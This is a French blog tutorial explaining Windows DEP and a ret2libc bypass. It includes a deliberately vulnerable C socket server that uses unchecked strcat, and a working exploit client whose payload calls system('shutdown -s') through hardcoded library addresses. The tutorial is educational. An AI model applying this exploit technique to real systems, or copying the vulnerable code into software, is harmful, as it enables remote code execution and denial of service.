dimanche 1 mars 2009

DEP Explication & Bypass

Introduction :
DEP (Data Execution Prevention) est une protection mise en place aussi bien au niveau du processeur (NX, XD) que du système d’exploitation. Cette protection à pour but d’éviter l’exécution de code malintentionné tel que par buffer overflow. Je vais commencer par énoncer les pré-requis pour la lecture de cet article, puis présenter cette protection. Je la présenterai dans un premier temps généralement, puis spécifiquement à Windows, et enfin montrerai un exemple de contournement de cette protection.

Note 1 : Dans cet article je vais traiter de ce type de sécurité sous le système d’exploitation Microsoft Windows XP SP3, tout autre version ou OS pourra fonctionné quelque peu voir complètement différemment (notamment pour la mise en échec de cette protection).
Note 2 : Les exemples (codes C) ont été développé sous code::blocks, et la version de GCC utilisé par code::blocks est inférieur à 4.1, donc le Stack-Smashing Protector n’est pas encore présent dans ces versions (-fno-stack-protector pour le désactiver), de même si vous voulez essayer sous visual studio enlevez le /GS, cet article ne prend pas en compte ces protections.


Pré-requis :
J’ai essayé d’adresser cet article à un maximum de personnes, toutefois quelques pré-requis sont nécessaires à la lecture de celui-ci (j’en expliquerai/rappellerai très brièvement certain). Plus vous connaîtrez les pré-requis de cette liste plus cet article vous sera facile à lire.
- Connaitre le mécanisme de pagination
- Connaitre le fonctionnement des buffers overflow
- Savoir les basiques sur les shellcodes
- Connaître comment est gérée la mémoire (pointeurs, stack, heap, PTE, …)
- Savoir comment marche l’appel de fonctions (prologue, épilogue, place des arguments sur la pile, …)
- Langage C (sockets, pointeurs, …)


Présentation :
Rappel, schéma classique de buffer overflow : Lors de l’exploitation d’un buffer overflow le shellcode (code malintentionné) injecté sera écrit, en débordant sur une chaîne de caractère (dans la plupart des cas). Le shellcode sera alors contenu dans des zones mémoire appartenant au programme. Ces zones mémoire pourront être typiquement la pile (stack) ou le tas (heap). Une exploitation réussit, consistera a trouvé la vulnérabilité logicielle puis injecter et exécuter le shellcode.

Pour contrer ce “schéma typique” d’exploitation de buffer overflow, une protection à été mise en place. Cette protection consiste, sur ce “schéma typique”, à agir sur le shellcode en empêchant l’exécution de celui-ci, (l’injection restera possible). Lorsque le shellcode aura débordé il sera contenu en mémoire dans la pile ou le tas. La pile et le tas ne sont censés contenir que des variables (pour rappel la pile contient les variables dites “local à une fonction” et le tas les variables dites “dynamique”). Comme ces deux zones mémoires ne sont pas censées contenir de code exécutable, un mécanisme à été mis en place pour spécifier que rien ne pourra être exécuté par un programme à partir de ces deux zones mémoire.

Comme toute la mémoire vive la pile et le tas sont contenus dans des pages mémoire. Certaines pages vont contenir le code du programme, d’autre vont contenir la pile ou le tas. Chaque page mémoire à différent flags représentant différentes informations, telles que si la page à été accédée récemment, ou si la page a été modifié récemment, … et un bit est présent pour signifier si du code peut-être exécuté à partir de cette page. S’il est à 0 alors l’exécution de code à partir de cette page est possible, s’il est à 1 alors l’exécution de code à partir de cette page est interdite. Donc lorsque notre shellcode sera contenu dans la pile ou le tas, il ne pourra en théorie pas être exécuté, car il sera contenu dans des pages mémoire marquées comme non exécutable.

Cette technologie est appelé NX (pour No Execute) par AMD et XD (pour eXecute Disable) par Intel. (Pour anecdote lors de la sortie de cette technologie AMD utilisa le nom commercial de “Enhanced Virus Protection”, car une telle protection aurait peut-être pu empêcher la propagation des vers Blaster et Sasser). Cette implémentation par AMD et par Intel est faite au niveau processeur, mais pour en bénéficier pleinement le système d’exploitation doit la supporter, et avoir été développé en conséquence.

Le support de cette protection est arrivé sous Windows XP avec le Service Pack 2 (SP2), et s’appelle DEP (tout l’objet de cet article). DEP est propre à Windows mais d’autre projet équivalent existent sous Linux, BSD, … Par exemple sous Linux ce type de protection existe avec PAX (qui fut crée bien avant DEP). Le support du NX bit fut intégré à la branche stable 2.6.8 du noyau Linux pour la première fois.

Cette protection existe donc au niveau hardware et au niveau software (comprenez par software votre OS et non pas un software externe à votre OS). Mais pour que cette protection soit active sur votre OS il faut soit qu’elle soit implémenté en hardware+software, ou alors juste en software. Par contre si votre machine a cette protection au niveau hardware et que votre OS implémente pas cette protection, alors elle ne sera pas active.

L’article était pour le moment assez général, mais nous allons maintenant nous axer sur DEP, donc de cette protection sous Windows.

(Vous pouvez contrôler la partie hardware de cette protection par l’activation du NX bit directement dans le BIOS, en l’activant/désactivant.)

L’activation de DEP sous Windows peut se faire de deux manières différentes. La première façon est de modifier directement le fichier C:\Boot.ini et de jouer avec l’attribut /NoExecute=policy_level où policy_level peut prendre ces valeurs :

- AlwaysOn : DEP protégera tout les processus lances sur le système (OS comprit). Aucune liste d’exception ne sera appliquée.
- AlwaysOff : DEP ne sera lancé sur aucun processus pas même le système.
- OptIn : Valeur configurée par défaut. Sur les machines équipées de processeur supportant cette protection, DEP sera activé pour les binaires systèmes et les programmes ajoutés manuellement par l’utilisateur (grâce aux “Propriétés Sytème” du panneau de configuration).
- OptOut : DEP est activé par défaut pour les processus. Il est possible d’exclure manuellement certains processus de cette protection (grâce aux “Propriétés Sytème” du panneau de configuration).

La seconde manière (graphique) est d’aller dans la fenêtre "System Properties" (commande "sysdm.cpl") --> onglet "Advanced" --> et dans la zone "Performance" cliquez sur "Settings".

Mise en échec de DEP (théorie)
Il existe plusieurs méthodes pour outrepasser DEP (plus ou moins similaires pour certaines). Nous allons ici utiliser une attaque de type ret2libc.

Explication d’une attaque ret2libc :

Dans une attaque “classique” de stack overflow on cherchera à injecter notre chaine “nop+shellcode+adresse pointant dans les nops”. Sauf que comme dit précédemment la pile va être protégée contre l’exécution de code, ce qui empêchera notre shellcode d’être lancée.





Une attaque de type stack overflow avec ret2libc va consister à utiliser le code des binaires chargés par le programme, et les bibliothèques partagées. C'est-à-dire qu’on va directement utiliser les fonctions systèmes contre le système lui-même. Par exemple la bibliothèque msvcrt permet de lancer la fonction printf(), kernel32 permet de lancer ExitProcess(), etc … Tout cela nous pouvant nous laisser énormément de possibilités …

A la différence des buffers overflow on ne va pas mettre l’adresse de notre shellcode (ou des nops) dans la sauvegarde d’EIP, mais on va directement mettre l’adresse d’une fonction système (représenté sur le schéma par le premier “system address”). Ainsi au lieu de rendre la main à la fonction appelante, le programme exécutera alors la fonction système que l’on aura choisi. Mais la plupart des fonctions que l’on voudra exécuter vont nécessiter une chaîne de caractère en paramètre. Cette chaîne est représentée sur le schéma par “string”.

Par exemple si l’on veut éteindre l’ordinateur victime, il faudra appeler la fonction system() en passant en paramètre la chaine “shutdown –s”. On va donc devoir passer en paramètre de la fonction system() un pointeur sur notre chaîne “shutdown -s”. Ce pointeur est désigné sur le schéma par “string address”. Mais une fois system() (ou une autre fonction) exécutée, notre programme crashera lamentablement, car system() tentera de rendre la main à la fonction appelante en utilisant l’EIP sauvegardé sur la pile (qui est censé être situé au second “system address”), mais nous l’aurons réécrit durant le stack overflow donc il ne sera plus valide et pointera sur une mauvaise zone mémoire … On peut donc, pendant le stack overflow, en profiter pout quitter le programme relativement proprement et écrivant l’adresse de la fonction ExitProcess(), qui terminera notre programme sans un vilain message d’erreur.

Pour résumé, on écrit notre chaîne shutdown –s, que l’on passera en paramètre à notre fonction (sur ce schéma cette fonction est system()) , puis on écrit l’adresse de system(), suivi de l’adresse de la fonction qui sera exécutée après system() soit ExitProcess() et l’adresse de shutdown –s.

DEP nous empêchait d’exécuter du code à partir de la pile (et plus généralement de toute page mémoire non exécutable), et bien ici c’est mission accompli, aucun code ne sera lancé à partir de la pile, tout sera exécuté à partir de bibliothèques système déjà chargées en mémoire (et les pages mémoire contenant ces bibliothèques sont bien évidement exécutables ;-).

Voilà si vous avez compris la théorie, ba maintenant c’est (enfin !) la pratique ;-)
Note : le nom de ret2libc vient du fait que dans le prologue (lors du ret) de la fonction appelée, on dépilera l’adresse d’une fonction système. Et lorsque ce genre d’attaque se produit sous Linux généralement les fonctions exécutées sont contenu dans la libc, donc on fait un return-to-libc.

Mise en echec de DEP (pratique)
Pour illustrer ce que nous venons de voir, j’ai développé un petit client-serveur en C. Le but de ce client-serveur est juste l’envoi d’une chaine par le client (vous trouverez les codes en annexe, que je vous invite à lire si vous voulez comprendre la suite, je ne les ais pas totalement commentés, juste les parties intéressante pour l’article), voici les principales lignes nous intéressant :

sprintf(buffer,"uber g33k ^^ // Chen lvl 25 a DOTA\n");
send_socket = send(sock,buffer,BUFFER_SIZE,0);

Chaîne qui sera reçu par le serveur:

recv_socket = recv(csock, buffer, sizeof(buffer), 0);
if(recv_socket == INVALID_SOCKET){return EXIT_FAILURE;}
weakFunction(buffer);

et passée à la fonction weakFunction()

void weakFunction(char *argBufferUserName)
{
char bufferUser[BUFFER_SIZE] = "Ut1l1s4t3ur v3n4nt d3 s3 c0nn3ct3r : ";
strcat(bufferUser, argBufferUserName);
printf("%s", bufferUser);
}

Pour résumer le client envoie une chaîne au serveur. Lorsque le serveur reçoit la chaîne, il passe un pointeur sur cette chaîne à la fonction (au nom évocateur) weakFunction(). Cette fonction prendra la chaîne "Ut1l1s4t3ur v3n4nt d3 s3 c0nn3ct3r : " et celle passée en paramètre et concaténera les deux chaînes.

Le problème de cette fonction est qu’elle va concaténer *bufferUser et *argBufferUserName, à la suite de *bufferUser sans vérifier qu’il existe assez de place. Tant que *argBufferUserName fait moins de 217 caractères aucun problème, mais si on passe une chaîne de plus de 218 caractère alors *bufferUser ne sera pas assez grand pour contenir les deux chaîne concaténée, et débordement il y aura.

Voilà les conditions sont placées, faire une chaîne assez grande et formée à peu près comme dans la partie théorique.

Notre chaîne sera donc constituée comme cela : «shutdown –s\n» + du remplissage + system() address + ExitProcesss() address + pointeur sur «shutdown –s\n».
Il va nous falloir trouver l’adresse des fonctions systèmes. Pour cela on va utiliser un petit programme nommé arwin, le fichier source est disponible à cette adresse http://www.vividmachines.com/shellcode/arwin.c Pour l’utiliser il suffit juste de mette le nom de la bibliothèque suivi du nom de la fonction recherchée.

# Adresse de la fonction system()
> arwin.exe msvcrt system
arwin - win32 address resolution program - by steve hanna - v.01
system is located at 0x77c293c7 in msvcrt

#Adresse de la function ExitProcess()
> arwin.exe kernel32 ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cafa in kernel32

Voici la function weakFunction() disassemblé sous ollydbg :


Maintenant il nous faut définir l’adresse de la chaîne «shutdown –s\n». Pour cela on va lancer le serveur sous ollydbg. Une fois le serveur lancé, on met un breakpoint sur strcat() à l’adresse 0x0040133D et on regarde la pile juste après le strcat().

(note : la chaine intéressante est ici "uber g33k ^^ // Chen lvl 25 a DOTA\n" qui sera par la suite remplacée par notre propre chaîne contenant le "shutdown -s")

On voit que dans la pile il apparaît 2 fois la chaîne envoyée par le client : "uber g33k ^^ // Chen lvl 25 a DOTA\n". La première apparition (screenshot de gauche) est celle venant du main() à l’adresse 0x0022FCA0, la seconde apparition est celle venant de weakFunction() à l’adresse 0x0022FB74 et étant concaténée à la chaîne "Ut1l1s4t3ur v3n4nt d3 s3 c0nn3ct3r : ". Dans un stack overflow classique on pourrait choisir n’importe laquelle de ces 2 adresses pour lancer notre shellcode, mais ici nous allons appeler la fonction system(), et elle va elle-même modifier la pile (au dessus de 0x0022FC5C), et donc risque très certainement de réécrire par-dessus notre chaîne. On va donc pour cette raison là choisir de prendre la chaîne contenu à l’adresse 0x0022FCA0.

Voila on peut presque former notre chaîne, il nous reste juste à savoir combien d’octets il faut réécrire à partir de 0x0022FB75 (suite de la chaîne "Ut1l1s4t3 ...) pour aller 8 octets plus loin que la sauvegarde d’EIP (afin d’aller écrire le pointeur vers la chaîne "shutdown -s") (regarder le screenshot en annexe en même temps pour plus de compréhension). La sauvegarde d’EIP étant stockée à l’adresse 0x0022FC5C, nous irons donc écrire jusqu'à l’adresse 0x0022FC64 incluse. Ce qui nous donne une chaîne de 243 octets.

Notre chaîne (que nous avons définit dans la partie théorique en tant que «shutdown –s\n» + du remplissage + system() address + ExitProcesss() address + pointeur sur «shutdown –s\n») sera donc la suivante "shutdown –s\n" + caractères de bourrage + 77c293c7 + 7c81cafa + 0022FCA0. Il faut savoir que comme utilisons des chaînes de caractères il ne faut surtout pas qu’il y ait de caractère nul dedans (\x00), sans quoi toute la chaîne ne sera pas copiée. J’ai utilisé comme caractères de bourrage des “a” pour plus de clarté sur les screenshots. Il faut mettre "\n" à la suite de shutdown -s, sinon system() essaiera d’interpréter toute la chaîne de caractère comme une commande. Ainsi il lancera dans un premier temps “shutdown –s” qui réussira, puis la commande “aaaaaa….aaaa” qui échouera bien sur, mais bon notre première commande aura été lancée :-)

Voilà il ne nous reste plus qu’a lancer le serveur puis le faux client et le tour est joué, la commande "shutdown –s" aura l’ordinateur victime.






Note : il est à noter que par exemple pour ce programme la plupart des fonctions de ces bibliothèques sont accessibles, ce qui laisse un large choix ^^


Conclusion :
Nous venons de voir que DEP peut rendre l’exploitation d’un overflow un peu plus complexe que normalement. Mais cette protection est très loin d’être suffisante. Je vous ai présenté une des plus simples méthodes pour outrepasser DEP, mais cette méthode oblige d’utiliser des binaires accessibles et déjà chargés en mémoire. D’autres méthodes existent un peu plus complexe qui permet de pouvoir lancer son propre shellcode. Pour exemple il est possible de faire appel à une fonction d’allocation de mémoire (à la place de la fonction system() de notre exemple), et de s’allouer sa propre zone mémoire avec les droits d’exécution, puis de faire appel à une fonction de copie de chaîne qui copiera notre shellcode (remplacez shutdown –s par un shellcode dans les schémas d’explication) dans cette zone mémoire et enfin on aura plus qu’a lancer notre shellcode.

Cette méthode nécessite d’appeler des fonctions prenant plusieurs paramètres, et ayant des conventions d’appel différentes, ce qui peut rendre l’exploitation légèrement plus complexe.

Pour que DEP puissent agir sur un programme le programme doit-être « compatible », or par exemple certains exe-packers empêchent cette compatibilité, ce qui a pour effet que le programme packé ne sera pas protégé par DEP.

Si du code venait à être exécuté à partir d’une page marqué comme “non exécutable”, alors une interruption sera levée. Si cette interruption n’est pas catchée alors le programme s’arrêtera, ce qui provoquera un déni de service.

Comme cette protection ne suffit pas à elle seule, d’autre protections on été rajouté par la suite tel que /GS (sous visual studio), Stack-Smashing Protector dans GCC (depuis la version 4.1). L’ASLR (Adress Space Layout Randomization) qui a pour but de placer de manière aléatoire les données et les bibliothèques chargées en mémoires, ainsi cela limite les attaques basées sur des adresses placées statiquement dans les shellcodes.

Il existe aussi des protections au niveau réseau tel que les IDS et les IPS. En regardant les trames passant sur le réseau, ils peuvent détecter si certains paquets sont suspicieux, et contiennent un shellcode, un exploit connu, …




######## Annexes ########
Pile normale, et pile après l’overflow



















CLIENT

#define BUFFER_SIZE 255

int main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);

SOCKET sock;
SOCKADDR_IN sin;
char buffer[BUFFER_SIZE];

int connect_socket, send_socket;

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET){return EXIT_FAILURE;}

sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(1337);

connect(sock, (SOCKADDR *)&sin, sizeof(sin));
if(connect_socket == SOCKET_ERROR){return EXIT_FAILURE;}


sprintf(buffer,"uber g33k ^^ // Chen lvl 25 a DOTA\n");

//envoie de la chaine au serveur
send_socket = send(sock,buffer,BUFFER_SIZE,0);
if(send_socket == SOCKET_ERROR){return EXIT_FAILURE;}

closesocket(sock);
WSACleanup();

system("pause");
return EXIT_SUCCESS;
}


SERVEUR

#define BUFFER_SIZE 255

//fonction ou se produira l'overfow
void weakFunction(char *argBufferUserName)
{
char bufferUser[BUFFER_SIZE] = "Ut1l1s4t3ur v3n4nt d3 s3 c0nn3ct3r : ";

// /!\ concaténation de la chaîne recu et de bufferUser
// sans regarder la longueur de la chaine recu ==> overflow possible
strcat(bufferUser, argBufferUserName);
printf("%s", bufferUser);
}

int main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);

SOCKADDR_IN sin, csin;
SOCKET sock, csock;

int bind_socket, listen_socket, recv_socket;

char buffer[BUFFER_SIZE];

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET){return EXIT_FAILURE;}

sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = htons(1337);

bind_socket = bind(sock, (SOCKADDR *)&sin, sizeof(sin));
if(bind_socket == SOCKET_ERROR){return EXIT_FAILURE;}

listen_socket = listen(sock, 0);
if(listen_socket == SOCKET_ERROR){return EXIT_FAILURE;}

int sinsize = sizeof(csin);

//on accepte tout les messages indéfiniment
while (1)
{
if ((csock = accept(sock, (SOCKADDR *)&csin, &sinsize)) != INVALID_SOCKET)
{
memset(buffer,0,BUFFER_SIZE);

//reception de la chaîne
recv_socket = recv(csock, buffer, sizeof(buffer), 0);
if(recv_socket == INVALID_SOCKET){return EXIT_FAILURE;}

//passage de la chaîne à weakFunction
weakFunction(buffer);
}
}
system("pause");
return EXIT_SUCCESS;
}


FAKE-CLIENT en C


#include
#include
#include
#define BUFFER_SIZE 255

int main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);

SOCKET sock;
SOCKADDR_IN sin;

int connect_socket, send_socket;

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET){return EXIT_FAILURE;}

sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family = AF_INET;
sin.sin_port = htons(1337);

connect(sock, (SOCKADDR *)&sin, sizeof(sin));
if(connect_socket == SOCKET_ERROR){return EXIT_FAILURE;}

char buffer[BUFFER_SIZE];
memset(buffer,0,BUFFER_SIZE);

//notre chaîne qui écrasera la pile
char smartString[] = "shutdown -s\n""\x61\x61\x61" //commande à lancer
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" //bourrage
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61"
"\xC7\x93\xC2\x77" //adresse de system()
"\xFA\xCA\x81\x7C" //adresse de ExitProcess()
"\xA0\xFC\x22\x00"; //adresse de la commande a lancer en argument "shutdown -s"


wsprintf(buffer, smartString);

//envoie de notre chaîne au serveur
send_socket = send(sock,buffer,sizeof(buffer),0);
if(send_socket == SOCKET_ERROR){return EXIT_FAILURE;}

closesocket(sock);
WSACleanup();

system("pause");
return EXIT_SUCCESS;
}